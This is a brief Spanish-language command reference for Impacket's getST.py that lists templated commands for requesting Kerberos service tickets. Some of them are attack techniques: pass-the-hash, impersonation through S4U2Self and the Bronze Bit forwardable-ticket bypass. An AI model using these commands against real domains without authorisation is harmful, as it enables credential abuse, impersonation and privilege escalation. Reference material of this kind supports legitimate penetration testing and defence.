getST.py

Solicita un tique de servicio Kerberos (TGS). Forma parte del paquete Impacket. Más información: https://github.com/fortra/impacket.

• Solicita un tique de servicio para un SPN específico:

getST.py {{dominio}}/{{nombre_de_usuario}}:{{contraseña}} -spn {{servicio}}/{{destino}}

• Solicita un tique utilizando hash NTLM (pass-the-hash):

getST.py -hashes {{LM_Hash}}:{{NT_Hash}} {{dominio}}/{{nombre_usuario}} -spn {{servicio}}/{{destino}}

• Solicita un tique utilizando un archivo ccache de Kerberos existente:

getST.py -no-pass -k {{dominio}}/{{nombre_usuario}} -spn {{servicio}}/{{destino}}

• Suplanta a otro usuario mediante S4U2Self (requiere derechos de delegación):

getST.py -k -impersonate {{usuario_destino}} {{dominio}}/{{nombre_usuario}} -spn {{servicio}}/{{destino}}

• Fuerza que el tique sea reenviable (Bronze Bit):

getST.py -force-forwardable -k {{dominio}}/{{nombre_usuario}} -spn {{servicio}}/{{destino}}